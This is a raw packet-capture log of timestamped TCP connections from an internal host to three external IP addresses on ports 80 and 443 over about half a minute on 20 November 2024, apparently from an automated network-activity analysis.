Nov 20, 2024 07:56:50.449723005 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:57.235893965 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:57.240766048 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:57.240823984 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:57.243405104 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:57.248220921 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:57.248279095 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:57.253175974 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:57.988333941 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:57.988471985 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:57.988603115 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:57.988645077 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:57.993383884 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:59.147783995 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:59.154687881 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:59.154763937 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:59.157105923 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:59.162000895 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:59.162066936 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:59.166934967 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:59.394629002 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:59.882088900 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:59.882200003 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:59.882250071 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 07:56:59.882508039 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:56:59.887005091 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.025521040 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.030431986 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.030519009 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.033211946 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.038021088 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.038068056 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.042897940 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.796703100 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.796768904 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.796819925 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.796866894 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.801702023 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.973134041 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.978013992 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.978075981 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.981055975 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.985872984 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:00.985980988 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:00.990745068 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:01.712006092 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:01.712249994 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:01.712344885 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:01.712397099 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:01.717775106 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:01.977744102 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:01.982661009 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:01.982767105 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:01.985131025 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:01.990040064 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:01.990103006 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:01.995042086 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:02.731832027 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:02.731868982 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:02.731919050 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:02.762367964 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:02.767335892 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:03.015268087 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:03.021256924 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:03.021332026 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:03.023063898 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:03.027949095 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:03.028263092 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:03.033341885 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:03.741231918 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:03.741552114 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:03.741632938 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:03.836373091 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:03.841306925 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:04.438647032 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:04.443743944 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:04.443825960 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:04.453051090 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:04.458030939 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:04.458084106 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:04.463383913 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:05.105695009 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:05.105737925 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:05.105803013 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:05.106329918 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:05.106340885 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:05.310630083 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:05.310719013 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:05.310801029 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:05.310837030 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:05.315581083 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:05.501405001 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:05.506247044 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:05.506297112 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:05.508730888 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:05.513539076 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:05.513581038 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:05.518404961 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:05.719410896 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:05.719836950 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:05.721313953 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:05.721324921 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:05.726140976 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:05.726155996 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:06.001461029 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:06.001530886 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:06.001596928 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:06.001682043 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:06.042526960 CET	49175	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:06.042567015 CET	443	49175	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:06.374385118 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:06.374526024 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:06.374564886 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:06.374629021 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:06.379522085 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:07.040210962 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:07.045669079 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:07.045727015 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:07.048321962 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:07.053199053 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:07.053236961 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:07.058423042 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:07.917478085 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:07.917591095 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:07.917653084 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:07.933872938 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:07.939074993 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:08.388055086 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:08.392860889 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:08.392976046 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:08.395258904 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:08.400074959 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:08.400151968 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:08.405050993 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:08.770740986 CET	49180	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:08.770750999 CET	443	49180	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:08.770792007 CET	49180	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:08.813355923 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:08.813395023 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:08.813479900 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:08.933123112 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:08.933136940 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:08.933341026 CET	49180	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:08.933357000 CET	443	49180	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:08.954651117 CET	49181	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:08.959537029 CET	80	49181	192.3.243.136	192.168.2.22
Nov 20, 2024 07:57:08.959592104 CET	49181	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:09.108309984 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:09.108398914 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:09.108520031 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:09.108572006 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:09.113229036 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:09.276156902 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:09.281132936 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:09.281193018 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:09.283468008 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:09.288300037 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:09.288352966 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:09.293145895 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:09.549273968 CET	443	49180	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:09.549335003 CET	49180	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:09.554239035 CET	49180	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:09.554245949 CET	443	49180	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:09.554596901 CET	443	49180	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:09.554650068 CET	49180	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:09.568661928 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:09.568721056 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:09.577344894 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:09.577378035 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:09.577832937 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:09.577888966 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:10.035382032 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:10.035510063 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:10.035511971 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:10.035562992 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:10.040363073 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:10.296765089 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:10.343338013 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:10.470155001 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:10.470252991 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:10.470318079 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:10.507577896 CET	49179	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:10.507601976 CET	443	49179	198.244.140.41	192.168.2.22
Nov 20, 2024 07:57:10.516586065 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:10.521543980 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:10.523123980 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:10.527065039 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:10.531949043 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:10.533827066 CET	49181	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:10.533828974 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:10.534305096 CET	49184	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:10.538707018 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:10.539074898 CET	80	49181	192.3.243.136	192.168.2.22
Nov 20, 2024 07:57:10.539103031 CET	80	49181	192.3.243.136	192.168.2.22
Nov 20, 2024 07:57:10.539171934 CET	80	49184	192.3.243.136	192.168.2.22
Nov 20, 2024 07:57:10.539192915 CET	49181	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:10.540654898 CET	49184	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:10.540910959 CET	49184	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:10.545744896 CET	80	49184	192.3.243.136	192.168.2.22
Nov 20, 2024 07:57:11.112638950 CET	80	49184	192.3.243.136	192.168.2.22
Nov 20, 2024 07:57:11.112716913 CET	49184	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:11.261435032 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:11.261461020 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:11.261514902 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:11.263226032 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:11.268040895 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:11.415947914 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:11.420799971 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:11.420847893 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:11.422688007 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:11.427550077 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:11.427592039 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:11.432470083 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:12.155327082 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:12.155459881 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:12.155877113 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:12.156802893 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:12.160366058 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:12.345309019 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:12.350184917 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:12.350282907 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:12.352430105 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:12.357218027 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:12.359101057 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:12.363918066 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:13.064924955 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:13.064996004 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:13.065120935 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:13.065249920 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:13.070075989 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:13.457228899 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:13.462040901 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:13.462116003 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:13.464530945 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:13.469335079 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:13.469417095 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:13.474373102 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:14.190033913 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:14.190099001 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:14.190184116 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:14.191956997 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:14.198396921 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:14.800086021 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:14.806040049 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:14.806092978 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:14.816301107 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:14.821171999 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:14.821225882 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:14.826807022 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:15.539246082 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:15.539345980 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:15.539350033 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:15.539446115 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:15.544258118 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:15.707097054 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:15.712033987 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:15.712105989 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:15.714570045 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:15.719377995 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:15.719444990 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:15.724366903 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:16.122023106 CET	80	49184	192.3.243.136	192.168.2.22
Nov 20, 2024 07:57:16.122073889 CET	49184	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:16.334631920 CET	49180	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:57:16.335067987 CET	49184	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:57:16.455482960 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:16.455574989 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:16.455744028 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:16.455787897 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:16.460614920 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:16.610729933 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:16.615751028 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:16.619105101 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:16.621402025 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:16.626343012 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:16.626398087 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:16.631231070 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:17.347266912 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:17.347364902 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:17.347428083 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:17.347556114 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:17.352339983 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:17.491159916 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:17.496124983 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:17.496344090 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:17.498769045 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:17.503603935 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:17.507138014 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:17.512130976 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:18.216984034 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:18.217076063 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:18.217092037 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:18.217133999 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:18.222069979 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:18.354340076 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:18.359173059 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:18.359237909 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:18.360862017 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:18.365658045 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:18.365734100 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:18.370656013 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:19.096231937 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:19.096338034 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:19.096379995 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:19.096441984 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:19.101205111 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:19.242171049 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:19.247111082 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:19.247167110 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:19.248756886 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:19.253684044 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:19.253732920 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:19.258563995 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:20.092386961 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:20.092497110 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:20.093159914 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:20.093218088 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:20.097313881 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:20.461540937 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:20.466401100 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:20.466471910 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:20.468795061 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:20.473683119 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:20.473746061 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:20.478677034 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:21.191966057 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:21.192044973 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:21.192075968 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:21.192125082 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:21.197086096 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:21.586905956 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:21.591875076 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:21.591936111 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:21.594352007 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:21.599227905 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:21.599286079 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:21.604197025 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:25.322678089 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:25.322788954 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:25.322808981 CET	80	49195	94.156.177.41	192.168.2.22
